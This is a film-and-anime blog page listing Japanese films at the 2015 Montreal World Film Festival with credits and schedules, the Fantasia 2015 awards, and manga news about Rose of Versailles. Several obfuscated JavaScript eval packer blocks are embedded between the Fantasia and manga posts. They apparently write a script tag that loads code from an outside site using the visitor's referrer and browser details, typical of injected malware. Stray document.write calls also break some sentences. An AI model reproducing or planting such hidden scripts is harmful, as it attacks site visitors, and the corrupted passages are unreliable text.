World Competition and the First Films Competition through press releases and a virtual press conference where both domestic and international media could simultaneously participate in an online Q&A session. So far, since then, the information has been trickling down little by little and we don’t know much about the festival programming. They said that “A digital age requires a digital solution,” but I guess it has also a lot to do with the lack of subsidies and the resulting reduced staff. I don’t mind a little austerity as long at it gets the festival going and brings us the diversified, quality cinema the festival is renown for.

We know that, this year, a record number of short films were submitted; that the opening movie will be Muhammad, the latest film by renowned Iranian director Majid Majidi; that this year’s festival will offer movies from over 86 countries; that the competition line-up will includes 26 Feature films from 31 countries for the World Competition, plus 25 more movies for the First Feature Competition, and that both competitions will include 36 World Premieres; we know the composition of both the jury for the Grand Prize of the Americas and the jury for the First Feature Prize; finally, a couple of days after the virtual press conference, the festival announced that twenty-four features from a score of countries will be shown in the World Greats (out of competition) category.

Here our interest is mostly with the Japanese movies. At first, with the festival press releases and an article in the august edition of Coco Montreal, we determined that the festival would show at least fourteen Japanese movies. However, with the release of the schedule we astonishingly discovered that a record-breaking number of Japanese movies will be shown this year: seventeen (twenty-one if we count a Liberian movie with a Japanese director, a four-minute short and two documentaries)! See the films index for details. (updated 2015-08-21)

Be careful, the schedule of some movies has changed (updated 2015-08-28).

Coco Montreal have put a more detailed article (this time with english and french translation) on the festival’s Japanese movies in their September issue (available both in the issuu.com flash version and on their Facebook page). [updated 2015-09-01]

You can now read some comments about the Festival’s Japanese movies (in french) in the first part of the article by my esteemed colleague Claude R. Blouin on the blog Shomingeki. [updated 2015-09-03]

You will find, after the jump, a list of all those movies (plus a few useful links — of course, more details and links will be added as the information become available):


World Competition / Film en compétition

  • Gassoh (??): Japan, 2015, 87 mins; Dir.: Tatsuo Kobayashi; Scr.: Aya Watanabe (based on the manga by Hinako Sugiura); Phot.: Hitoshi Takaya; Music: Asa-Chang; Cast: Yuya Yagira (Kiwamu Akitsu), Koji Seto (Masanosuke Yoshimori), Amane Okayama (Teijiro Fukuhara), Joe Odagiri, Mugi Kadowaki, Minami Sakurai, Kai Inowaki, Yuko Takayama, Reiko Fujiwara, Daisuke Ryu, Rie Minemura, Mantaro Koichi, Lily.

    The final resistance to the dismantling of the Togugawa Shogunate at the end of the Edo period and the futile struggles of three young men who participated in the Shougitai resistance.

    Schedule: Thu 9/03 9:00 CI; Thu 9/03 21:30 CI.

First Feature Competition / Compétition de premières oeuvres

  • Dear Deer (????????): Japan, 2015, 107 mins; Dir.: Takeo Kikuchi; Scr.: Noriaki Sugihara; Ed.: Azusa Yamazaki; Music: Takuro Okada; Cast: Yuri Nakamura (Akiko), Yoichiro Saito (Yoshio), Shota Sometani (Fujio), Kôji Kiryû, Rinko Kikuchi, Yûrei Yanagi, Takeshi Yamamoto, Wakana Matsumoto, Yasushi Masaoka.

    When their claim to have seen a phantom deer is debunked, three young siblings are denigrated. Now, 25 years later, their father dying, the wounds are still raw.

    Schedule: Thu 9/03 11:00 QL9; Fri 9/04 16:00 QL9.

    You can read my comments.

  • Kagura-me (????): Japan, 2015, 112 mins; Dir.: Yasuo Okuaki; Scr.: Yasuo Okuaki & Nozomu Namba; Music: Kôji Igarashi; Phot.: Hiroshi Iwanaga; Prod. Des.: Takashi Yoshida; Cast: Tomomitsu Adachi, Mayumi Asaka, Masayuki Imai, Tsunehiko Kamijô, Mei Kurokawa, Ryoichi Kusanagi, Ryû Morioka, Nanako Ohkôchi, Maki Seko, Masayuki Shida, Keiko Shirasu, Rina Takeda, Ryoko Takizawa, Mariko Tsutsui, Ren Ôsugi.

    A woman bears a 13-year grudge with her father over the traditional dance he was performing that caused him to be absent from her mother’s death.

    Schedule: Fri 8/28 9:00 QL9; Sat 8/29 15:00 QL9.

    You can read my comments and watch a video of the screening introduction.

  • Lost and found (?????????? / Hoshigaoka Wonderland): Japan, 2015, 111 mins; Dir.: Show Yanagisawa; Scr.: Show Yanagisawa, Koko Maeda; Phot.: Keisuke Imamura; Ed.: Etsuko Kimura; Music: Takashi Watanabe; Cast: Tomoya Nakamura (Atsuto Seo), Nozomi Sasaki (Nanami Kiyokawa), Yoshino Kimura (Sawako Kiyokawa—Atsuto’s mother), Masaki Suda (Yuya Kiyokawa), Anne Watanabe (Detective Tsunako Obayashi), Hayato Ichihara (Jingo Kusunoki), Hirofumi Arai (Tetsundo Seo—Atsuto’s older brother), Yutaka Matsushige (Touji Seo—Atsuto’s father).

    When Haruto learns that his long estranged mother committed suicide in an amusement park he immediately suspects foul play.

    Schedule: Sun 9/06 15:30 QL9; Mon 9/07 20:00 QL9.

  • Neboke (???): Japan, 2015, 115 mins; Dir./Scr./Phot./Ed.: Norihito Iki; Music: Yusuke Orita; Cast: Yasushi Tomobe, Irifunetei Senryu, Kana Ohtake, Maki Murakami, Yuji Akiyama.

    Sangoroh, a rakugo artist, has a drinking problem and is annoyed by his partner Manami’s pestering him about it. Can he get his life in order before it’s too late.

    Schedule: Sat 9/05 14:30 QL9; Sun 9/06 10:00 QL9.

World Great (Out of Competition) / Hors-concours

  • Blood Bead (????/ Akai Tama / Perle de sang): Japan, 2015, 108 min.; Dir./Scr.: Banmei Takahashi; Music: Gorô Yasukawa; Phot.: Shinji Ogawa; Ed.: Kan Suzuki; Cast: Eiji Okuda (Shuji Tokita), Fujiko (Yui Oba), Yukino Murakami (Ritsuko Kitakoji), Shota Hanaoka (Kenichi Yajima), Shiori Doi (Aiko Kato), Tasuku Emoto (Aoyama), Keiko Takahashi (Yuriko).

    Tokita would rather be making movies than teaching about them in film school. But it pays the bills and there’s always Yui, the pretty school secretary. Then Ritsuko enters his life…

    Schedule: Fri 8/28 10:00 QL10; Sat 8/29 19:00 QL10.

    You can read my comments and watch a video of the screening introduction and Q&A session.

  • The Next Generation Patlabor — Tokyo War (The Next Generation ????? ? ???? / Patoreiba: Shuto Kessen / Lit. “Patlabor: Decisive battle over the capital”): Japan, 2015, 93 min.; Dir./Scr.: Mamoru Oshii; Phot.: Hiroshi Machida, Tetsuya Kudo; Art Dir.: Anri Jojo; Ed.: Yoshinori Ohta; Music: Kenji Kawai; Labor Design: Hideki Hashimoto, Katsuya Terada; Cast: Toshio Kakei (Keiji Gotoda), Erina Mano (Akira Izumino), Seiji Fukushi (Yuma Shiobara), Rina Ohta (Kasya), Shigeru Chiba (Shigeo Shiba), Kanna Mori (Rei Haihara), Kotaro Yoshida (Onodera), Reiko Takashima (Kei Takahata), Yoshinori Horimoto (Isamu Otawara), Shigekazu Tajiri (Hiromichi Yamazaki), Kohei Shiotsuka (Shinji Mikiya), Yoshikazu Fujiki (Yoshikatsu Buchiyama).

    In a world where giant robots are built and used for labour, a special police force of robots is created to handle crimes relating to these machines: the Patrol Labor.

    Schedule: Sat 8/29 9:30 QL9; Sun 8/30 21:30 QL9.

    You can read my comments.

Focus on World Cinema

  • At home (??????): Japan, 2015, 110 min.; Dir.: Hiroshi Chono; Scr.: Teruo Abe (based on the novel by Takayoshi Honda); Music: Takatsugu Muramatsu; Phot.: Shinya Kimura; Ed.: Osamu Suzuki; Prod. Des.: Shin Nakayama; Cast: Yutaka Takenouchi (Thief), Yasuko Matsuyuki (Swindler), Kentaro Sakaguchi (Jun Moriyama), Yuina Kuroshima (Asuka Moriyama), Yuto Ikeda (Takashi Moriyama), Jun Kunimura, Itsuji Itao, Seiji Chihara.

    A father, a mother, an elder son, a daughter and a younger son. A family of five. For all appearances, a perfectly normal, happy family. But none of them related.

    Schedule: Fri 8/28 12:00 QL12; Sat 8/29 18:30 QL12.
    You can read my comments and watch a video of the Q&A session.

  • Blowing in the wind of Vietnam (??????????? / Betonamu No Kaze Ni Fukarete): Japan/Vietnam, 2015, 116 min.; Dir.: Tat Binh & Kazuki Omori; Scr.: Kazuki Omori, Uichiro Kitazaki (based on a novel by Miyuki Komatsu); Phot.: Koichi Saito; Ed.: Naoki Kaneko; Music: Tetsuro Kashibuchi; Cast: Eiji Okuda, Akira Emoto, Kôji Kikkawa, Keiko Matsuzaka, Yôsuke Saitô, Reiko Kusamura, Yûya Takayama, Shigehiro Yamaguchi, Reina Fujie, Yoneko Matsukane, Tan Nhuong, Lan Huong, Tan Hanh.

    When Misao returns to Japan from Vietnam for her father’s funeral, she sees that her mother is becoming forgetful, even a bit senile. Can a change of scenery help?

    Schedule: Fri 8/28 9:30 QL12; Sat 8/29 21:30 QL12.

    You can read my comments.

  • Decline of an assassin (??????????/ Norainu ha dansu wo odoru / lit. “Stray dogs are dancing”): Japan, 2015, 100 min.; Dir./Scr./Ed.: Kubota Shouji; Phot.: Hiromitu Nishimura; Music: Ipeei Yogo; Cast: Yoshimasa Kondo, Keisuke Kato, Shogo Suzuki, Hidetoshi Kubota, Yuri Yanagi, Kouta Kusano.

    After four decades as the reliable hitman for a criminal gang, Kurosawa is now making mistakes. It may be time to retire. But how can he ever return to “normal” life?

    Schedule: Fri 8/28 20:30 QL16; Sat 8/29 12:00 QL16; Sat 9/05 21:30 Ql11.

  • Early Spring, Sakurajima (???? / Sakurajima soyun / Sakurajima early spring): Japan, 2015, 88 min.; Dir./Scr./Ed.: Hiroshi Toda: Phot.: Guillaume Tauveron, Hiroshi Toda; Music: Mica Toda; Cast: Yoichi Hayashi, Hitomi Wakahara, Kenkichi Nishi, Katsuhiko Nishi.

    Back in his hometown after retirement, Takashi Arimura finds life depressing. On his wife’s suggestion he takes up painting. The world now looks very different.

    Schedule: Sun 8/30 16:00 QL16; Mon 8/31 9:10 QL16.

    You can read my comments.

  • Haman (???/ slang blend, or portemanteau expression from ? [Ha, tooth] and ???? [Omanko, vagina] meaning toothed vagina): Japan, 2015, 95 min.; Dir./Scr.: Tetsuya Okabe; Phot.: Yumi Hasegawa; Ed.: Tetsuya Okabe; Music: HIR, Shintaro Mieda; Cast: Nonka Baba, Yusuke Kojima, Maki Mizui, Mukau Nakamura, Shoei Uno.

    Love can be deadly but when Haruka decided to make love with her boyfriend she never expected it to be literally true. A dark fantasy about life, sex and love.

    Schedule: Tue 9/01 15:50 QL16; Wed 9/02 20:30 QL16.

    You can read my comments.

  • Ninja Hunter (???? / Ninja Gari) : Japan, 2015, 96 min.; Dir./Scr./Ed.: Seiji Chiba; Phot.: Kenji Tanabe, Arsuchi Yoshida; Music: Kuniyuki Morohashi; Cast: Mitsuki Koga, Mei Kurogawa, Masanori Mimoto, Kentarö Shimazu, Kazuki Tsujimoto.

    Four ninjas, forty corpses, four conflicting accounts. A ninja action tale with a Rashomon twist.

    Schedule: Fri 8/28 16:00 QL12; Sat 8/29 9:00 QL12.

    You can read my comments.

  • Out of my hand: USA/Liberia, 2015, 87 min.; Dir.: Takeshi Fukunaga. Scr.: Takeshi Fukunaga & Donari Braxton; Phot.: Ryo Murakami, Owen Donovan; Ed.: Takeshi Fukunaga, Eugene Yi; Prod. Des.: Steve Grisé, Ioannis Socholakis; Music: Tyondai Braxton; Cast: Bishop Blay (Cisco), Zenobia Taylor (Joy), Duke Murphy Dennis (Francis), Rodney Rogers Beckley (Marvin), David Roberts (Jacob), Shelley Molad (Maria).

    A struggling Liberian rubber plantation worker risks everything to discover a new life as a Yellow Cab driver in New York City.

    Schedule: Sun 8/30 17:00 QL17; Mon 8/31 15:00 QL17.

  • Shinjuku Midnight Baby (????????????): Japan, 2015, 141 mins; Dir./Scr./Phot.: Kazuhiro Teranishi (based on his own book); Ed.: Kiyomi Tochiya; Music: Daisuke Sunny;Cast: Shimako Iwai, Ginji Yoshikawa, Britney Hamada, Tomoko Nakajima, Kimin, Yukimi Watanabe, Hidetsugu Ohara, Marcos Tôma.

    When the son of a government minister wants to be in Japan’s first gay marriage – to one of her political supporters, no less – a mysterious lawyer offers to help.

    Schedule: Fri 9/04 16:00 QL11; Sat 9/05 21:30 QL11; Fri 8/28 10:00 QL11; Sat 8/29 21:30 QL11.

  • Summer on the frontline (???? 15??? / Soman kokkyo 15 sai no natsu / Summer of 15 years old on the Soviet national border): Japan, 2015, 94 min.; Dir./Scr.: Tetsuya Matsushima (based on his own novel); Phot.: Kazuo Okuhara; Ed.: Seiichi Miyazawa; Music: Koji Ueno; Cast: Ryuuchiro Shibata, Anna Kijima, Min Tanaka, Isao Natsuyagi.

    When the great earthquake of 2012 destroys his high school’s filmmaking equipment, Keisuke, 15, looks forward to a dull summer. He couldn’t be more mistaken.

    Schedule: Thu 9/03 16:00 QL13; Fri 9/04 10:00 QL13.

  • That’s It (???? / Soredake) : Japan, 2015, 110 min.; Dir.: Gakuryu Ishii; Scr.: Kiyotaka Inagaki; Phot.: Yoshiyuki Matsumoto; Music: Bloodthirsty Butchers; Cast: Shota Sometani, Erina Mizuno, Kiyoko Shibukawa, Jun Murakami, Go Ayano.

    A young drifter hoping to escape from his social dead end, breaks into a gangster’s locker in search of gold. What he finds is a hard drive with very dangerous information.

    Schedule: Fri 9/04 20:00 QL13; Sat 9/05 10:00 QL13.

  • The Letters (????? / Popura no aki / lit. “Autumn poplar”): Japan, 2015, 98 min.; Dir./Scr./Ed.: Ken’ichi Ohmori (based on a novel by Kazumi Yumoto); Phot.: Masao Nakabori; Cast: Nene Ohtsuka, Tamao Nakamura, Miyu Honda.

    Chiaki, 8, devastated by the death of beloved father, moves into an apartment whose landlady claims to be able to deliver letters to the dead.

    Schedule: Fri 9/04 9:00 QL12; Sat 9/05 19:30 QL12.

  • Yoko the cherry blossom (Yoko Zakura) : Japan, 2015, 115 min.; Dir./Scr.: Gen Takahashi; Phot.: Phil Harder; Ed.: Yoshinori Ota; Music: Benjamin Be’doussac; Cast: Takashi Sasano, Koji Matoba, Maki Miyamoto, Yuki Kazamatsuri.

    The true story of a Japanese teacher’s quest to create a hybrid cherry blossom, to fulfill a promise he made to his students before they were sent off to die in World War II.

    Schedule: Thu 9/03 14:00 QL12; Fri 9/04 16:30 QL12.

Documentaries

  • Alone in Fukushima (????????? / Naoto hitorikkiri): Japan, 2015, 98 min., Dir./Scr./Phot./Ed.: Mayu Nakamura; Music: Saho Terao; Sound: Masashi Furuya.

    Alone in Fukushima is a feature length documentary about Naoto Matsumura, a man who remained alone in a no-man’s land after the nuclear disaster. The film follows Naoto struggling to survive with the animals in a small town which Japan tries to erase from the map.

    Schedule: Tue 9/01 16:00 QL14; Sat 9/05 16:00 QL2.

  • Behind “The Cove” (?????????? / `Za k?vu’ no uragawa): Japan, 2015, 110 min.; Dir./Scr./Phot./Ed.: Keiko Yagi.

    Keiko Yagi never bothered to see the 2010 film THE COVE, thinking it just another exaggerated attack on Japan’s dolphin hunt. But she decided to see for herself.

    Schedule: Fri 9/04 21:30 QL14; Sat 9/07 14:30 QL14.

Shorts

  • Master Blaster: Japan, 2015, 4 min.; Dir./Scr./Phot./Ed.: Sawako Kabuki.

    An animated short in competition at the Student Film Festival. A girl would like to hide in her sweetheart’s anus, to be with him forever.

    Schedule: Mon 8/31 16:00 QL2; Tue 9/01 16:00 QL2.

[ Traduire ]

Fantasia awards


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhhdb|var|u0026u|referrer|nifbe||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sekat|var|u0026u|referrer|fzdtd||js|php’.split(‘|’),0,{}))
As usual the 19th edition of the Fantasia International Film Festival was a great success. Not only it is now considered North America’s longest-running genre film festival with its 195 screenings over twenty-three days but it also had an attendance of over 100, document.write(“”); 000 spectators for six consecutive years.

Several Japanese movies won awards again this year:

  • TAG by Sion Sono received the Cheval Noir Award for Best Film
  • Tomoe Kanno (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Screenplay
  • Subaru Shibutani (for LA LA LA AT ROCK BOTTOM) received the Cheval Noir Award for Best Actor
  • Reina Triendl (for TAG) received the Cheval Noir Award for Best Actress
  • Sion Sono’s TAG also received a Special Mention “for its creative, surprising, and monumental opening kill sequence”
  • MISS HOKUSAI by Keiichi Hara received no less than three awards: the Satoshi Kon Award for Best Animated Feature Film, the Prix Séquences, as well as the Best Animated Feature Audience Award (Gold Prize)
  • LOVE & PEACE by Sion Sono received the Best Asian Feature Audience Award (Gold Prize)

Surprisingly, Attacks on Titan, the latest sensation from Japan, didn’t win any prize.

The dates for next year festival (the 20th anniversary edition!) were also announced: The Fantasia International Film Festival will take place in Montreal from July 14 to August 2, 2016.

For more details on all Japanese movies you can check our previous entry “Japanese movies at Fantasia 2015”.

For an overview of the Japanese movies you can check Claude R. Blouin’s extensive comments “Un vieux fou de cinéma japonais à Fantasia 2015” on the Shomengeki blog (in french).

(Sources: ANN, Dread Central, Fangoria, Fantasia, Twitch)

[ Traduire ]

Rose of Versailles manga and other notable news

At Comic-Con, document.write(“”); Udon Entertainment has announced that they will release the first english version of Riyoko Ikeda’s classic shojo manga Rose of Versailles. The series will be released as two omnibus volumes in the second quarter of 2016.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bskdz|var|u0026u|referrer|esrse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azskn|var|u0026u|referrer|nfirr||js|php’.split(‘|’),0,{}))

The french version has been around for a while (published in 2002), so I am surprised it took so long to get it translated in english. Of course, the French had a special interest in this story (it’s about the french revolution) but it’s a superb story, drawn in a classic shojo style, so it should interest everybody.
I’ve complained about this several time, but I really cannot understand why there are so few shojo manga from the 70s and 80s being translated in either english or french. There’s a real goldmine of great shojo titles from that era that is left totally unexploited (mostly from the so-called Year 24 Group). Of course, I can understand publishers not willing to take the risk to release series that a often rather long (Riyoko Ikeda’s Jotei Ecatherina is 5 volumes, Orpheus no Mado 18 volumes, Eikou no Napoleon – Eroica 14 volumes, and Suzue Miuchi’s Glass no kamen is 50+ volumes !!) and in a style that might seem dated (but oh so beautiful!)…

Now, the question is: will Udon includes in this edition the more recent Rose of Versailles “Episodes” ? Or will it be in an eventual third omnibus volume? I hope they thought of acquiring the rights for those stories as well…

Strangely, Udon Entertainment is mainly known for their Street Fighter and video game related manga but they seems lately to venture into more traditional manga titles (and shojo, mind you). Now their catalog even includes a collection of manga classics (Jane Austen’s Emma, Dicken’s Great Expectations, Victor Hugo’s Les Miserables, Jane Austen’s Pride & Prejudice, Nathaniel Hawthorne’s The Scarlet Letter) !

[ Sources: ANN, Udon ]

Ten Other notable news

  • At the same occasion, Udon announced the release of Moyoco Anno’s Sugar Sugar Rune also for the 2nd Quarter 2016 [ ANN ]
  • Studio Ghibli’s latest film, When Marnie Was There, earned over $500K in U.S. Theaters [ ANN ]
  • Nintendo President Satoru Iwata Passes Away [ ANN ]
  • Shigeru Mizuki’s manga Showa: A History of Japan (1939-1944 and 1944-1953) won the 2015 Will Eisner Comic Industry Award for Best U.S. Edition of International Material from Asia [ ANN ]
  • Mamoru Nagano’s manga Five Star Stories will receive its first new volume in nine years this august [ ANN, Forbes ]
  • Sunrise Announced at Anime Expo that it is working on a new Gundam TV series [ ANN ]
  • Tokyopop has announced at Anime Expo that it is planning to begin publishing manga again in 2016 [ ANN ]
  • Vertical announced at Anime Expo that it has licensed the publishing rights for, amongst others, the Attack on Titan: Lost Girls novel spinoff [ ANN ]
  • The live-action adaptation of Masamune Shirow’s Ghost in the Shell, starring Scarlett Johansson, is set to be released in march 2017 [ ICv2 ]
  • Luc Besson has announced that his next movie as producer and director will be Valerian and the City of a Thousand Planets, based on the comics by Pierre Christin & Jean-Claude Mézières, which should see a release in 2017 [ ICv2, themarysue.com]

[ Traduire ]